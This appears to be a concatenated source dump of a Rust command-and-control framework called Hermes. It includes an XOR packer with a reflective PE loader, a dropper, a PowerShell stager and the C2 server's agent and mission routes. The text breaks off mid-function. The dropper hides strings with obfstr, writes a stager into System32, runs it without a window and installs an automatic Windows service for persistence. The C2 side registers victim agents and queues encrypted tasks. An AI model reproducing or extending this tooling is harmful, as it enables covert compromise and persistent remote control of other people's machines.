data[0] as usize { 48 | return vec![]; 49 | } 50 | 51 | let key = &data[1..][..data[0] as usize]; 52 | let mut data = data[data[0] as usize + 1..].to_vec(); 53 | xor(&mut data, &key); 54 | decompress(&data) 55 | } 56 | 57 | #[cfg(test)] 58 | mod tests { 59 | #[test] 60 | fn test_pack_unpack() { 61 | let data = "Coucou, ça va ?"; 62 | let packed = super::pack_to_vec(data.as_bytes()); 63 | let unpacked = super::unpack_to_vec(&packed); 64 | assert_eq!(String::from_utf8(unpacked).unwrap(), data); 65 | let data = "Super, et toi ?"; 66 | let packed = super::pack_to_vec(data.as_bytes()); 67 | let unpacked = super::unpack_to_vec(&packed); 68 | assert_eq!(String::from_utf8(unpacked).unwrap(), data); 69 | } 70 | } 71 | -------------------------------------------------------------------------------- /packer/src/main.rs: -------------------------------------------------------------------------------- 1 | #[cfg(feature = "windows-service")] 2 | use windows_service::{ 3 | define_windows_service, 4 | service::{ 5 | ServiceControl, ServiceControlAccept, ServiceExitCode, ServiceState, ServiceStatus, 6 | ServiceType, 7 | }, 8 | service_control_handler::{self, ServiceControlHandlerResult}, 9 | }; 10 | 11 | #[cfg(feature = "windows-service")] 12 | define_windows_service!(ffi_service_main, service_main); 13 | 14 | #[link_section = ".bin"] 15 | #[used] 16 | static mut AGENT: &[u8] = &[]; 17 | 18 | #[cfg(feature = "windows-service")] 19 | const SERVICE_NAME: &str = "Agent"; 20 | 21 | // TODO Separate the service code from the packer code 22 | #[cfg(feature = "windows-service")] 23 | fn service_main(_arguments: Vec) { 24 | // Register system service event handler 25 | let status_handle = service_control_handler::register( 26 | SERVICE_NAME, 27 | move |control_event| -> ServiceControlHandlerResult { 28 | match control_event { 29 | ServiceControl::Stop | ServiceControl::Interrogate => { 30 | ServiceControlHandlerResult::NoError 31 | } 32 | _ => ServiceControlHandlerResult::NotImplemented, 33 | } 34 | }, 35 | ) 36 | .unwrap(); 37 | 38 | // Tell the system that the service is running now 39 | status_handle 40 | .set_service_status(ServiceStatus { 41 | service_type: ServiceType::OWN_PROCESS, 42 | current_state: ServiceState::Running, 43 | controls_accepted: ServiceControlAccept::STOP, 44 | exit_code: ServiceExitCode::Win32(0), 45 | checkpoint: 0, 46 | wait_hint: std::time::Duration::default(), 47 | process_id: None, 48 | }) 49 | .unwrap(); 50 | 51 | unsafe { load() } 52 | } 53 | 54 | unsafe fn load() { 55 | let _ = rspe::reflective_loader(&common::unpack_to_vec(AGENT)); 56 | } 57 | 58 | // TODO Fix bug: two processes are created instead of one 59 | fn main() { 60 | #[cfg(feature = "windows-service")] 61 | let _ = windows_service::service_dispatcher::start(SERVICE_NAME, ffi_service_main); 62 | #[cfg(not(feature = "windows-service"))] 63 | unsafe { 64 | load(); 65 | } 66 | } 67 | -------------------------------------------------------------------------------- /c2/src/jwt.rs: -------------------------------------------------------------------------------- 1 | use serde::{Deserialize, Serialize}; 2 | 3 | use crate::error::C2Result; 4 | 5 | #[derive(Debug, Serialize, Deserialize)] 6 | pub struct Claim { 7 | exp: i64, 8 | } 9 | 10 | impl Claim { 11 | pub fn new(timeout_in_minutes: i64) -> Self { 12 | Self { 13 | exp: (chrono::Utc::now() + chrono::Duration::minutes(timeout_in_minutes)).timestamp(), 14 | } 15 | } 16 | 17 | pub fn expired(&self) -> bool { 18 | chrono::Utc::now().timestamp() > self.exp 19 | } 20 | 21 | pub fn from_jwt(token: &str, signing_key: &[u8]) -> C2Result { 22 | Ok(jsonwebtoken::decode::( 23 | token, 24 | &jsonwebtoken::DecodingKey::from_secret(signing_key), 25 | &jsonwebtoken::Validation::default(), 26 | ) 27 | .map(|data| data.claims)?) 28 | } 29 | 30 | pub fn into_jwt(self, signing_key: &[u8]) -> C2Result { 31 | Ok(jsonwebtoken::encode( 32 | &jsonwebtoken::Header::default(), 33 | &self, 34 | &jsonwebtoken::EncodingKey::from_secret(signing_key), 35 | )?) 36 | } 37 | } 38 | 39 | #[cfg(test)] 40 | mod tests { 41 | use super::*; 42 | 43 | #[test] 44 | fn test_claim() { 45 | let claim = Claim::new(1); 46 | let jwt = claim.into_jwt(b"secret").unwrap(); 47 | let claim = Claim::from_jwt(&jwt, b"secret").unwrap(); 48 | assert!(!claim.expired()); 49 | } 50 | 51 | #[test] 52 | fn test_expired_claim() { 53 | let claim = Claim::new(-1); 54 | let jwt = claim.into_jwt(b"secret").unwrap(); 55 | let claim = Claim::from_jwt(&jwt, b"secret").unwrap(); 56 | assert!(claim.expired()); 57 | } 58 | 59 | #[test] 60 | fn test_invalid_claim() { 61 | let claim = Claim::new(1); 62 | let jwt = claim.into_jwt(b"secret").unwrap(); 63 | match Claim::from_jwt(&jwt, b"wrong").unwrap_err() { 64 | crate::error::C2Error::JsonWebToken(_) => (), 65 | _ => panic!("Wrong error type"), 66 | } 67 | } 68 | 69 | #[test] 70 | fn test_invalid_jwt() { 71 | match Claim::from_jwt("invalid", b"secret").unwrap_err() { 72 | crate::error::C2Error::JsonWebToken(_) => (), 73 | _ => panic!("Wrong error type"), 74 | } 75 | } 76 | } 77 | -------------------------------------------------------------------------------- /dropper/src/main.rs: -------------------------------------------------------------------------------- 1 | #![windows_subsystem = "windows"] 2 | #[cfg(feature = "windows-service")] 3 | use std::os::windows::process::CommandExt as _; 4 | use std::{fs, process}; 5 | 6 | pub const CREATE_NO_WINDOW: u32 = 0x08000000; 7 | 8 | fn main() -> Result<(), Box> { 9 | #[cfg(unix)] 10 | { 11 | eprintln!("This platform is not supported"); 12 | return; 13 | } 14 | 15 | #[cfg(feature = "windows-service")] 16 | fs::write( 17 | obfstr::obfstr!("C:\\Windows\\System32\\agent.exe"), 18 | include_bytes!(concat!(env!("OUT_DIR"), "/stager.exe")), 19 | )?; 20 | #[cfg(not(feature = "windows-service"))] 21 | fs::write( 22 | obfstr::obfstr!("agent.exe"), 23 | include_bytes!(concat!(env!("OUT_DIR"), "/stager.exe")), 24 | )?; 25 | 26 | // Execute stager 27 | #[cfg(feature = "windows-service")] 28 | process::Command::new(obfstr::obfstr!("C:\\Windows\\System32\\agent.exe")) 29 | .creation_flags(CREATE_NO_WINDOW) 30 | .spawn()? 31 | .wait()?; 32 | #[cfg(not(feature = "windows-service"))] 33 | println!( 34 | "{:#?}", 35 | process::Command::new(obfstr::obfstr!("agent.exe")) 36 | .spawn()? 37 | .wait()? 38 | ); 39 | 40 | // TODO Implement multiple persistence methods 41 | #[cfg(feature = "windows-service")] 42 | { 43 | process::Command::new("powershell") 44 | .creation_flags(CREATE_NO_WINDOW) 45 | .arg("-Command") 46 | .arg("New-Service") 47 | .arg("-Name") 48 | .arg("'Agent'") 49 | .arg("-BinaryPathName") 50 | .arg("'C:\\Windows\\System32\\agent.exe'") 51 | .arg("-DisplayName") 52 | .arg("'Agent'") 53 | .arg("-StartupType") 54 | .arg("Automatic") 55 | .arg("-Description") 56 | .arg("'Hermes Agent Service'") 57 | .status() 58 | .expect("Failed to create service"); 59 | process::Command::new("powershell") 60 | .creation_flags(CREATE_NO_WINDOW) 61 | .arg("-Command") 62 | .arg("Start-Service") 63 | .arg("-Name") 64 | .arg("'Agent'") 65 | .status() 66 | .expect("Failed to start service"); 67 | } 68 | Ok(()) 69 | } 70 | -------------------------------------------------------------------------------- /stager.ps1: -------------------------------------------------------------------------------- 1 | # Enabling execution of PS1 scripts: https://stackoverflow.com/questions/4037939/powershell-says-execution-of-scripts-is-disabled-on-this-system 2 | # Set-ExecutionPolicy RemoteSigned 3 | # Set-ExecutionPolicy Restricted 4 | 5 | if (-NOT ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) { 6 | Write-Warning "You do not have Administrator rights to run this script! Please re-run this script as Administrator!" 7 | Break 8 | } 9 | 10 | # Create a variable containing some sample data encoded in base64 format 11 | $base64Data = "RosOwb3N0IG5vdCBhbGxvdyBmb3J0aCwgdG8gcmVhbGx5IGZvdWwgdGhpbmdzIHVwIHlvdSBuZWVkIGEgY29tcHV0ZXIuCiAgICAtLSBQYXVsIFIuIEVocmxpY2g=" 12 | 13 | # Decode the base64 data into a byte array 14 | $byteArray = [Convert]::FromBase64String($base64Data) 15 | 16 | # Specify the path where the binary file will be created 17 | $filePath = Join-Path -Path $PSScriptRoot -ChildPath "myBinaryFile.exe" 18 | 19 | # Write the decoded byte array to the binary file 20 | [System.IO.File]::WriteAllBytes($filePath, $byteArray) 21 | 22 | # Define the properties for the new service 23 | $serviceName = "Agent" 24 | $serviceDisplayName = "Hermes Agent" 25 | $serviceDescription = "This is the Hermes service agent." 26 | $binaryPath = (Get-Item -Path $filePath).FullName 27 | $startupType = "Automatic" # or "Manual", "Disabled" 28 | $serviceAccount = "LocalSystem" # or "NetworkService", "LocalService" 29 | # $credential = Get-Credential -Message "Enter credentials for the service account:" 30 | # $password = ConvertTo-SecureString -String $credential.Password -AsPlainText -Force 31 | # $accountCredentials = New-Object System.Management.Automation.PSCredential ($credential.UserName, $password) 32 | 33 | # Register the new service using sc.exe 34 | # sc.exe create $serviceName binPath= "$binaryPath" displayname= "$serviceDisplayName" description= "$serviceDescription" start=$startupType obj="$serviceAccount.$($accountCredentials.GetNetworkIdentity().Value)" password= "$($accountCredentials.GetNetworkCredential().Password)" 35 | New-Service -Name $serviceName -DisplayName $serviceDisplayName -BinaryPathName 'C:\WINDOWS\System32\agent.exe' -Description $serviceDescription -StartupType $startupType -ServiceAccount $serviceAccount 36 | 37 | # Start the newly created service 38 | Start-Service -Name $serviceName 39 | -------------------------------------------------------------------------------- /c2/src/services/missions.rs: -------------------------------------------------------------------------------- 1 | use std::sync::{Arc, Mutex}; 2 | 3 | use common::model::Mission; 4 | use rusqlite::OptionalExtension; 5 | use tracing::debug; 6 | 7 | use crate::{error::C2Result, ThreadSafeConnection}; 8 | 9 | use super::RusqliteResult; 10 | 11 | fn row_to_mission(row: &rusqlite::Row) -> Result { 12 | Ok(Mission { 13 | id: row.get("id")?, 14 | agent_id: row.get("agent_id")?, 15 | task: serde_json::from_str(&row.get::<_, String>("task")?).unwrap(), 16 | result: row.get("result")?, 17 | issued_at: row.get("issued_at")?, 18 | completed_at: row.get("completed_at")?, 19 | }) 20 | } 21 | 22 | pub fn create( 23 | conn: ThreadSafeConnection, 24 | agent_id: i32, 25 | task: common::model::Task, 26 | ) -> C2Result { 27 | debug!("Creating mission for agent {}", agent_id); 28 | let conn = conn.lock().unwrap(); 29 | 30 | conn.execute( 31 | "INSERT INTO missions (agent_id, task) VALUES (?1, ?2)", 32 | rusqlite::params![agent_id, serde_json::to_string(&task)?], 33 | )?; 34 | 35 | Ok(conn.query_row( 36 | "SELECT id, agent_id, task, result, issued_at, completed_at FROM missions WHERE id = last_insert_rowid()", 37 | [], 38 | row_to_mission, 39 | )?) 40 | } 41 | 42 | pub fn get_next( 43 | conn: Arc>, 44 | agent_id: i32, 45 | ) -> RusqliteResult> { 46 | debug!("Getting next mission for agent {}", agent_id); 47 | conn.lock().unwrap().query_row( 48 | "SELECT id, agent_id, task, result, issued_at, completed_at FROM missions WHERE agent_id = ?1 AND completed_at IS NULL ORDER BY issued_at ASC LIMIT 1", 49 | [agent_id], 50 | row_to_mission, 51 | ) 52 | .optional() 53 | } 54 | 55 | pub async fn poll_next( 56 | conn: Arc>, 57 | agent_id: i32, 58 | ) -> RusqliteResult> { 59 | debug!("Polling next mission for agent {}", agent_id); 60 | for _ in 0..5 { 61 | if let Some(mission) = get_next(conn.clone(), agent_id)? { 62 | return Ok(Some(mission)); 63 | } 64 | tokio::time::sleep(tokio::time::Duration::from_secs(1)).await; 65 | } 66 | Ok(None) 67 | } 68 | 69 | pub fn get_by_id(conn: ThreadSafeConnection, id: i32) -> RusqliteResult> { 70 | debug!("Getting mission {}", id); 71 | let conn = conn.lock().unwrap(); 72 | conn.query_row( 73 | "SELECT id, agent_id, task, result, issued_at, completed_at FROM missions WHERE id = ?1 LIMIT 1", 74 | [id], 75 | row_to_mission, 76 | ).optional() 77 | } 78 | 79 | pub fn complete(conn: ThreadSafeConnection, id: i32, result: &str) -> RusqliteResult { 80 | debug!("Completing mission {}", id); 81 | let conn = conn.lock().unwrap(); 82 | 83 | conn.execute( 84 | "UPDATE missions SET result = ?1, completed_at = CURRENT_TIMESTAMP WHERE id = ?2", 85 | rusqlite::params![result, id], 86 | )?; 87 | 88 | conn.query_row( 89 | "SELECT id, agent_id, task, result, issued_at, completed_at FROM missions WHERE id = ?1", 90 | [id], 91 | row_to_mission, 92 | ) 93 | } 94 | -------------------------------------------------------------------------------- /Cargo.toml: -------------------------------------------------------------------------------- 1 | [workspace] 2 | members = ["agent", "c2", "client", "common", "dropper", "packer", "stager",] 3 | resolver = "2" 4 | 5 | [profile.release] 6 | opt-level = "z" 7 | lto = true 8 | codegen-units = 1 9 | strip = true 10 | panic = "abort" 11 | 12 | [workspace.dependencies] 13 | # arti-client = { version = "0.18.0", default-features = false } 14 | # arti-hyper = { version = "0.18.0", default-features = false } 15 | axum = { version = "0.7.5", default-features = false, features = ["form", "http1", "json", "matched-path", "original-uri", "query", "tokio", "tower-log", "tracing"] } 16 | base64 = { version = "0.22.1", default-features = false, features = ["std"] } # TODO Ditch b64 for hex 17 | blake2 = { version = "0.9.1", default-features = false, features = ["std"] } 18 | chacha20poly1305 = { version = "0.10.1", default-features = false, features = ["alloc"] } 19 | chrono = { version = "0.4.38", default-features = false, features = ["serde", "now"] } 20 | common = { path = "common", default-features = false } 21 | dialoguer = { version = "0.11", default-features = false, features = ["fuzzy-select"] } 22 | ed25519-dalek = { version = "2.1.1", default-features = false, features = ["rand_core", "serde"] } 23 | embed-resource = { version = "2.4.2", default-features = false } 24 | env_logger = { version = "0.11.3", default-features = false, features = ["auto-color", "humantime"] } # TODO Ditch env_logger for tracing 25 | http-body-util = { version = "0.1.1", default-features = false } 26 | # hyper = { version = "0.14", default-features = false, features = ["http1", "client", "runtime"] } 27 | jsonwebtoken = { version = "9.3.0", default-features = false, features = ["use_pem"] } 28 | log = { version = "0.4.21", default-features = false } 29 | miniz_oxide = { version = "0.7.3", default-features = false, features = ["with-alloc"] } 30 | obfstr = { version = "0.4.3", default-features = false } 31 | object = { version = "0.36.0", default-features = false, features = ["read", "compression"] } 32 | rand = { version = "0.8.5", default-features = false, features = ["getrandom"] } 33 | rspe = { git = "https://github.com/Xobtah/rspe.git", default-features = false } 34 | rusqlite = { version = "0.31.0", default-features = false, features = ["chrono"] } 35 | self-replace = { version = "1.3.7", default-features = false } 36 | serde = { version = "1.0.200", default-features = false, features = ["derive"] } 37 | serde_json = { version = "1.0.116", default-features = false, features = ["std"] } 38 | sha256 = { version = "1.5.0", default-features = false } 39 | thiserror = { version = "1.0.60", default-features = false } 40 | timeago = { version = "0.4.2", default-features = false, features = ["chrono"] } 41 | # tls-api = { version = "0.9.0", default-features = false } 42 | # tls-api-openssl = { version = "0.9.0", default-features = false } 43 | tokio = { version = "1.37.0", default-features = false, features = ["full"] } 44 | tower = { version = "0.4.13", default-features = false } 45 | tower-http = { version = "0.5.2", default-features = false, features = ["trace", "httpdate"] } 46 | tracing = { version = "0.1.40", default-features = false, features = ["std", "attributes"] } 47 | tracing-subscriber = { version = "0.3.18", default-features = false, features = ["smallvec", "fmt", "ansi", "tracing-log", "std"] } 48 | ureq = { version = "2.9.7", default-features = false, features = ["json"] } 49 | windows-service = { version = "0.7.0", default-features = false } 50 | x25519-dalek = { version = "2.0.1", default-features = false, features = ["alloc", "precomputed-tables", "zeroize"] } 51 | zeroize = { version = "1.7.0", default-features = false } 52 | -------------------------------------------------------------------------------- /c2/src/services/agents.rs: -------------------------------------------------------------------------------- 1 | use std::str::FromStr; 2 | 3 | use common::{ 4 | crypto, 5 | model::{self, Agent}, 6 | }; 7 | use rusqlite::OptionalExtension; 8 | use tracing::debug; 9 | 10 | use crate::{error::C2Result, ThreadSafeConnection}; 11 | 12 | use super::RusqliteResult; 13 | 14 | fn row_to_agent(row: &rusqlite::Row) -> RusqliteResult { 15 | Ok(Agent { 16 | id: row.get("id")?, 17 | name: row.get("name")?, 18 | identity: crypto::VerifyingKey::from_bytes(&row.get::<_, [u8; 32]>("identity")?).unwrap(), 19 | platform: model::Platform::from_str(&row.get::<_, String>("platform")?).unwrap(), 20 | created_at: row.get("created_at")?, 21 | last_seen_at: row.get("last_seen_at")?, 22 | }) 23 | } 24 | 25 | pub fn create( 26 | conn: ThreadSafeConnection, 27 | name: &str, 28 | identity: crypto::VerifyingKey, 29 | platform: model::Platform, 30 | ) -> C2Result { 31 | debug!("Creating agent"); 32 | let conn = conn.lock().unwrap(); 33 | conn.execute( 34 | "INSERT INTO agents (name, identity, platform) VALUES (?1, ?2, ?3)", 35 | rusqlite::params![name, identity.to_bytes(), platform.to_string()], 36 | )?; 37 | 38 | Ok(conn.query_row( 39 | "SELECT id, name, identity, platform, created_at, last_seen_at FROM agents WHERE id = last_insert_rowid()", 40 | [], 41 | row_to_agent, 42 | )?) 43 | } 44 | 45 | pub fn get(conn: ThreadSafeConnection) -> C2Result> { 46 | debug!("Getting agents"); 47 | Ok(conn 48 | .lock() 49 | .unwrap() 50 | .prepare("SELECT id, name, identity, platform, created_at, last_seen_at FROM agents")? 51 | .query_map([], row_to_agent)? 52 | .map(Result::unwrap) 53 | .collect()) 54 | } 55 | 56 | pub fn get_by_id(conn: ThreadSafeConnection, id: i32) -> RusqliteResult> { 57 | debug!("Getting agent {}", id); 58 | let conn = conn.lock().unwrap(); 59 | conn.query_row( 60 | "SELECT id, name, identity, platform, created_at, last_seen_at FROM agents WHERE id = ?1", 61 | [id], 62 | row_to_agent, 63 | ) 64 | .optional() 65 | } 66 | 67 | pub fn get_by_identity( 68 | conn: ThreadSafeConnection, 69 | identity: crypto::VerifyingKey, 70 | ) -> RusqliteResult> { 71 | debug!("Getting agent by identity"); 72 | let conn = conn.lock().unwrap(); 73 | conn.query_row( 74 | "SELECT id, name, identity, platform, created_at, last_seen_at FROM agents WHERE identity = ?1", 75 | [identity.to_bytes()], 76 | row_to_agent, 77 | ).optional() 78 | } 79 | 80 | pub fn seen(conn: ThreadSafeConnection, id: i32) -> C2Result<()> { 81 | debug!("Updating agent {} last seen at", id); 82 | let conn = conn.lock().unwrap(); 83 | conn.execute( 84 | "UPDATE agents SET last_seen_at = CURRENT_TIMESTAMP WHERE id = ?1", 85 | [id], 86 | )?; 87 | Ok(()) 88 | } 89 | 90 | pub fn update_by_id(conn: ThreadSafeConnection, agent: &model::Agent) -> C2Result { 91 | debug!("Updating agent {} name", agent.id); 92 | let conn = conn.lock().unwrap(); 93 | 94 | conn.execute( 95 | "UPDATE agents SET name = ?1, identity = ?2, platform = ?3 WHERE id = ?4", 96 | rusqlite::params![ 97 | agent.name, 98 | agent.identity.to_bytes(), 99 | agent.platform.to_string(), 100 | agent.id 101 | ], 102 | )?; 103 | 104 | Ok(conn.query_row( 105 | "SELECT id, name, identity, platform, created_at, last_seen_at FROM agents WHERE id = ?1", 106 | [agent.id], 107 | row_to_agent, 108 | )?) 109 | } 110 | 111 | pub fn delete_by_id(conn: ThreadSafeConnection, id: i32) -> C2Result { 112 | debug!("Deleting agent {id}"); 113 | let conn = conn.lock().unwrap(); 114 | Ok(conn.execute("DELETE FROM agents WHERE id = ?1", [id])? == 1) 115 | } 116 | -------------------------------------------------------------------------------- /stager/src/win_h.rs: -------------------------------------------------------------------------------- 1 | #![allow(non_camel_case_types)] 2 | #![allow(non_snake_case)] 3 | 4 | #[derive(Clone, Copy)] 5 | #[repr(C, packed(2))] 6 | pub struct IMAGE_DOS_HEADER { 7 | pub e_magic: u16, 8 | pub e_cblp: u16, 9 | pub e_cp: u16, 10 | pub e_crlc: u16, 11 | pub e_cparhdr: u16, 12 | pub e_minalloc: u16, 13 | pub e_maxalloc: u16, 14 | pub e_ss: u16, 15 | pub e_sp: u16, 16 | pub e_csum: u16, 17 | pub e_ip: u16, 18 | pub e_cs: u16, 19 | pub e_lfarlc: u16, 20 | pub e_ovno: u16, 21 | pub e_res: [u16; 4], 22 | pub e_oemid: u16, 23 | pub e_oeminfo: u16, 24 | pub e_res2: [u16; 10], 25 | pub e_lfanew: i32, 26 | } 27 | 28 | #[derive(Default)] 29 | #[repr(C)] 30 | #[cfg(target_arch = "x86")] 31 | pub struct IMAGE_NT_HEADERS32 { 32 | pub Signature: u32, 33 | pub FileHeader: IMAGE_FILE_HEADER, 34 | pub OptionalHeader: IMAGE_OPTIONAL_HEADER32, 35 | } 36 | 37 | #[cfg(target_arch = "x86_64")] 38 | pub type IMAGE_NT_HEADER = IMAGE_NT_HEADERS64; 39 | #[cfg(target_arch = "x86")] 40 | pub type IMAGE_NT_HEADER = IMAGE_NT_HEADERS32; 41 | 42 | #[derive(Default)] 43 | #[repr(C)] 44 | #[cfg(target_arch = "x86_64")] 45 | pub struct IMAGE_NT_HEADERS64 { 46 | pub Signature: u32, 47 | pub FileHeader: IMAGE_FILE_HEADER, 48 | pub OptionalHeader: IMAGE_OPTIONAL_HEADER64, 49 | } 50 | 51 | #[derive(Debug, Default, Clone)] 52 | #[repr(C)] 53 | pub struct IMAGE_FILE_HEADER { 54 | pub Machine: u16, 55 | pub NumberOfSections: u16, 56 | pub TimeDateStamp: u32, 57 | pub PointerToSymbolTable: u32, 58 | pub NumberOfSymbols: u32, 59 | pub SizeOfOptionalHeader: u16, 60 | pub Characteristics: u16, 61 | } 62 | 63 | #[derive(Debug, Default, Clone)] 64 | #[repr(C)] 65 | #[cfg(target_arch = "x86")] 66 | pub struct IMAGE_OPTIONAL_HEADER32 { 67 | pub Magic: u16, 68 | pub MajorLinkerVersion: u8, 69 | pub MinorLinkerVersion: u8, 70 | pub SizeOfCode: u32, 71 | pub SizeOfInitializedData: u32, 72 | pub SizeOfUninitializedData: u32, 73 | pub AddressOfEntryPoint: u32, 74 | pub BaseOfCode: u32, 75 | pub BaseOfData: u32, 76 | pub ImageBase: u32, 77 | pub SectionAlignment: u32, 78 | pub FileAlignment: u32, 79 | pub MajorOperatingSystemVersion: u16, 80 | pub MinorOperatingSystemVersion: u16, 81 | pub MajorImageVersion: u16, 82 | pub MinorImageVersion: u16, 83 | pub MajorSubsystemVersion: u16, 84 | pub MinorSubsystemVersion: u16, 85 | pub Win32VersionValue: u32, 86 | pub SizeOfImage: u32, 87 | pub SizeOfHeaders: u32, 88 | pub CheckSum: u32, 89 | pub Subsystem: u16, 90 | pub DllCharacteristics: u16, 91 | pub SizeOfStackReserve: u32, 92 | pub SizeOfStackCommit: u32, 93 | pub SizeOfHeapReserve: u32, 94 | pub SizeOfHeapCommit: u32, 95 | pub LoaderFlags: u32, 96 | pub NumberOfRvaAndSizes: u32, 97 | pub DataDirectory: [IMAGE_DATA_DIRECTORY; 16], 98 | } 99 | 100 | #[derive(Default)] 101 | #[repr(C, packed(4))] 102 | #[cfg(target_arch = "x86_64")] 103 | pub struct IMAGE_OPTIONAL_HEADER64 { 104 | pub Magic: u16, 105 | pub MajorLinkerVersion: u8, 106 | pub MinorLinkerVersion: u8, 107 | pub SizeOfCode: u32, 108 | pub SizeOfInitializedData: u32, 109 | pub SizeOfUninitializedData: u32, 110 | pub AddressOfEntryPoint: u32, 111 | pub BaseOfCode: u32, 112 | pub ImageBase: u64, 113 | pub SectionAlignment: u32, 114 | pub FileAlignment: u32, 115 | pub MajorOperatingSystemVersion: u16, 116 | pub MinorOperatingSystemVersion: u16, 117 | pub MajorImageVersion: u16, 118 | pub MinorImageVersion: u16, 119 | pub MajorSubsystemVersion: u16, 120 | pub MinorSubsystemVersion: u16, 121 | pub Win32VersionValue: u32, 122 | pub SizeOfImage: u32, 123 | pub SizeOfHeaders: u32, 124 | pub CheckSum: u32, 125 | pub Subsystem: u16, 126 | pub DllCharacteristics: u16, 127 | pub SizeOfStackReserve: u64, 128 | pub SizeOfStackCommit: u64, 129 | pub SizeOfHeapReserve: u64, 130 | pub SizeOfHeapCommit: u64, 131 | pub LoaderFlags: u32, 132 | pub NumberOfRvaAndSizes: u32, 133 | pub DataDirectory: [IMAGE_DATA_DIRECTORY; 16], 134 | } 135 | 136 | #[derive(Debug, Default, Clone, Copy)] 137 | #[repr(C)] 138 | pub struct IMAGE_DATA_DIRECTORY { 139 | pub VirtualAddress: u32, 140 | pub Size: u32, 141 | } 142 | 143 | #[derive(Clone, Copy)] 144 | #[repr(C)] 145 | pub struct IMAGE_SECTION_HEADER { 146 | pub Name: [u8; 8], 147 | pub Misc: IMAGE_SECTION_HEADER_0, 148 | pub VirtualAddress: u32, 149 | pub SizeOfRawData: u32, 150 | pub PointerToRawData: u32, 151 | pub PointerToRelocations: u32, 152 | pub PointerToLinenumbers: u32, 153 | pub NumberOfRelocations: u16, 154 | pub NumberOfLinenumbers: u16, 155 | pub Characteristics: u32, 156 | } 157 | 158 | #[derive(Clone, Copy)] 159 | #[repr(C)] 160 | pub union IMAGE_SECTION_HEADER_0 { 161 | pub PhysicalAddress: u32, 162 | pub VirtualSize: u32, 163 | } 164 | 165 | #[derive(Clone, Copy)] 166 | #[repr(C)] 167 | pub struct IMAGE_BASE_RELOCATION { 168 | pub VirtualAddress: u32, 169 | pub SizeOfBlock: u32, 170 | } 171 | -------------------------------------------------------------------------------- /c2/src/routes/missions.rs: -------------------------------------------------------------------------------- 1 | use std::str::FromStr; 2 | 3 | use axum::{ 4 | extract::{Path, State}, 5 | http::{HeaderMap, StatusCode}, 6 | response::IntoResponse, 7 | Json, 8 | }; 9 | use base64::{prelude::BASE64_STANDARD, Engine as _}; 10 | use common::{ 11 | model::{self, Mission}, 12 | PLATFORM_HEADER, 13 | }; 14 | use tracing::{debug, error, warn}; 15 | 16 | use crate::{routes::AGENT_NOT_FOUND, services, C2State}; 17 | 18 | use super::MISSION_NOT_FOUND; 19 | 20 | pub async fn create(State(c2_state): State, body: Json) -> impl IntoResponse { 21 | debug!("{body:#?}"); 22 | match services::missions::create(c2_state.conn.clone(), body.agent_id, body.task.clone()) { 23 | Ok(mission) => (StatusCode::CREATED, Json(mission)).into_response(), 24 | Err(e) => { 25 | error!("{e}"); 26 | (StatusCode::INTERNAL_SERVER_ERROR).into_response() 27 | } 28 | } 29 | } 30 | 31 | pub async fn get_next( 32 | State(mut c2_state): State, 33 | headers: HeaderMap, 34 | crypto_negociation: Json, 35 | ) -> impl IntoResponse { 36 | if let Err(e) = crypto_negociation.verify() { 37 | error!("{e}"); 38 | return (StatusCode::UNAUTHORIZED).into_response(); 39 | } 40 | 41 | let agent = 42 | match services::agents::get_by_identity(c2_state.conn.clone(), crypto_negociation.identity) 43 | { 44 | Ok(agent) => agent, 45 | Err(e) => { 46 | error!("{e}"); 47 | return (StatusCode::INTERNAL_SERVER_ERROR).into_response(); 48 | } 49 | }; 50 | 51 | let agent = match agent { 52 | Some(agent) => agent, 53 | None => { 54 | warn!("Agent not found, creating new one"); 55 | 56 | let platform = headers 57 | .get(PLATFORM_HEADER) 58 | .and_then(|platform| model::Platform::from_str(platform.to_str().unwrap()).ok()) 59 | .unwrap_or_default(); 60 | 61 | match services::agents::create( 62 | c2_state.conn.clone(), 63 | &format!( 64 | "Unnamed agent {}", 65 | BASE64_STANDARD.encode(crypto_negociation.identity) 66 | ), 67 | crypto_negociation.identity, 68 | platform, 69 | ) { 70 | Ok(agent) => agent, 71 | Err(e) => { 72 | error!("{e}"); 73 | return (StatusCode::INTERNAL_SERVER_ERROR).into_response(); 74 | } 75 | } 76 | } 77 | }; 78 | 79 | if let Err(e) = services::agents::seen(c2_state.conn.clone(), agent.id) { 80 | error!("{e}"); 81 | return (StatusCode::INTERNAL_SERVER_ERROR).into_response(); 82 | } 83 | 84 | let mission = match services::missions::poll_next(c2_state.conn.clone(), agent.id).await { 85 | Ok(Some(m)) => m, 86 | Ok(None) => { 87 | debug!("No mission for agent {}", agent.id); 88 | return (StatusCode::NO_CONTENT).into_response(); 89 | } 90 | Err(e) => { 91 | error!("{e}"); 92 | return (StatusCode::INTERNAL_SERVER_ERROR).into_response(); 93 | } 94 | }; 95 | 96 | debug!("{mission}"); 97 | let mission = serde_json::to_vec(&mission).unwrap(); 98 | 99 | ( 100 | StatusCode::OK, 101 | Json(Some( 102 | model::CryptoMessage::new( 103 | &mut c2_state.signing_key, 104 | crypto_negociation.public_key, 105 | &mission, 106 | ) 107 | .unwrap(), 108 | )), 109 | ) 110 | .into_response() 111 | } 112 | 113 | pub async fn get_report( 114 | State(c2_state): State, 115 | Path(mission_id): Path, 116 | ) -> impl IntoResponse { 117 | let mission = match services::missions::get_by_id(c2_state.conn.clone(), mission_id) { 118 | Ok(Some(m)) => m, 119 | Ok(None) => { 120 | return (StatusCode::NOT_FOUND, MISSION_NOT_FOUND).into_response(); 121 | } 122 | Err(e) => { 123 | error!("{e}"); 124 | return (StatusCode::INTERNAL_SERVER_ERROR).into_response(); 125 | } 126 | }; 127 | 128 | if mission.completed_at.is_some() { 129 | (StatusCode::OK, Json(mission.result)).into_response() 130 | } else { 131 | (StatusCode::NO_CONTENT).into_response() 132 | } 133 | } 134 | 135 | pub async fn report( 136 | State(c2_state): State, 137 | Path(mission_id): Path, 138 | crypto_message: Json, 139 | ) -> impl IntoResponse { 140 | let mission = match services::missions::get_by_id(c2_state.conn.clone(), mission_id) { 141 | Ok(Some(m)) => m, 142 | Ok(None) => { 143 | return (StatusCode::NOT_FOUND, MISSION_NOT_FOUND).into_response(); 144 | } 145 | Err(e) => { 146 | error!("{e}"); 147 | return (StatusCode::INTERNAL_SERVER_ERROR).into_response(); 148 | } 149 | }; 150 | 151 | let agent = match services::agents::get_by_id(c2_state.conn.clone(), mission.agent_id) { 152 | Ok(Some(agent)) => agent, 153 | Ok(None) => { 154 | return (StatusCode::NOT_FOUND, 